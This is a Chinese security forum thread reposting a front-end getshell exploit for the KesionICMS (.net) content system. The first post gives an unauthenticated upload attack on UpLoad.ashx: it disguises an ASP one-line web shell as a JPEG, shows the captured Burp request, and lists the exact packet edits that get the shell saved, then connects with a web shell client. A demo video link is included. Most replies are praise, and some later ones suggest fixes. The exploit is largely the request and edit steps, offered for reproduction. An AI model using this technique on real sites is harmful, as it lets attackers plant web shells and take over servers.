90_ 发表于 2014-10-27 15:34:20

[转]KesionICMS(.net)可无视任何条件前台getshell

来源:zph
KesionICMS除了自带的文章、图片、下载系统外还可以在文章、图片、下载三个系统模型的基础上自定义出功能模型比如房产系统,酒店系统,图片系统,软件下载等;自定义表单助您轻松打造在线报名,举报投诉等功能。10年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,力争为全球更多网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

KesionICMS某个频道上传功能的地方有缺陷,导致漏洞形成。
本漏洞测试的时候无需登录,即可进行操作。
问题出在:User\Include\UpLoad.ashx,程序只对上传时的文件进行一系列判断,但是没有在文件上传后进行判断,导致可以getshell。
因为官网demo有 安全狗,所以不能用官网来演示菜刀连接……但证明成功上传还是可以的

0x01 准备

由于程序会对图片的有效性进行判断,所以我们不得不copy一下 copy /b 1.jpg+1.asp 123.jpg
其中1.jpg为随意有效图片文件,1.asp为一句话,得到的123.jpg即为copy后待上传的图片文件。

0x02 上传&改包

用burp截包如下:
POST /user/include/upload.ashx HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
User-Agent: Shockwave Flash
Host: www.******.com
Content-Length: 18389
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=dd1zohqmmxotk045nu52vsaf

------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filename"

2.jpg
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="AutoRename"

4
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="formid"

0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="FieldID"

pic
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="upBySwf"

1
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ispic"

0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ChannelID"

1001
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filedata"; filename="2.jpg"
Content-Type: application/octet-stream

(省略文件内容)

------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Upload"

Submit Query
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3--
我们做以下几个修改:(这块语言可能描述的不太好,大家谅解,下面会有一个视频演示来帮大家理解)

1.复制以下内容(不同网站内容可能不完全相同)
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Filename"
2.jpg
并在2.jpg后面回车、粘贴

2.将第二个2.jpg改为asp后缀文件

3.将第二个Filename改为Filenames

4.复制以下内容(不同网站内容可能不完全相同)
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="upBySwf"
1

并在1后面回车、粘贴

5.将第二个upBySwf改为NoReName
至此就完成修改了。下面按Ctrl+R将Raw发送到Repeater,点击Go 显示出文件路径

菜刀连接即可

演示视频:http://pan.baidu.com/s/1eQrIj7c 密码ptr5 不听歌的话就静音 :)

lingfeng 发表于 2014-10-27 17:11:46

抢个座位,思密达

lingfeng 发表于 2014-10-27 22:48:22

好像在乌云下上看见过

kellen 发表于 2014-10-27 23:58:44

好强大.....

维森特 发表于 2014-10-28 08:41:51

前排挤挤

csadsl 发表于 2014-10-29 16:42:59

很好,很强大

Teddy 发表于 2015-9-13 14:59:26

6666666666

热心网友5 发表于 2026-5-21 08:00:00

Re: [转]KesionICMS(.net)可无视任何条件前台getshell

感谢楼主分享这个漏洞细节,分析得很清楚。这种通过改包绕过上传后检测的手法挺典型的,很多CMS都有类似问题。想问一下,这个漏洞在最新版KesionICMS里是否已经修复了?另外,除了视频里演示的,还有没有其他需要注意的防御思路,比如限制上传目录的执行权限之类的?

热心网友1 发表于 2026-6-22 17:25:00

Re: [转]KesionICMS(.net)可无视任何条件前台getshell

感谢分享这个漏洞的分析,过程写得很详细,特别是修改数据包的思路很有参考价值。不过这个漏洞影响范围不小,建议使用KesionICMS的站长尽快检查自己的站点,尤其是UpLoad.ashx这个文件的上传逻辑,最好加上二次验证,不要只依赖上传时的判断。另外视频演示地址也保留了,方便动手复现,挺周到的。

热心网友1 发表于 2026-6-22 18:40:02

Re: [转]KesionICMS(.net)可无视任何条件前台getshell

感谢分享这个漏洞细节,分析得很清楚。这个上传缺陷确实比较典型——只检查了上传时的文件类型,却没有对最终保存的文件做二次验证,加上可以通过改包修改文件名和关闭重命名,直接导致getshell。复制马+改包的操作步骤也很详细,演示视频应该能帮助新手理解。建议使用KesionICMS的站长尽快检查相关版本并修复。
页: [1]
查看完整版本: [转]KesionICMS(.net)可无视任何条件前台getshell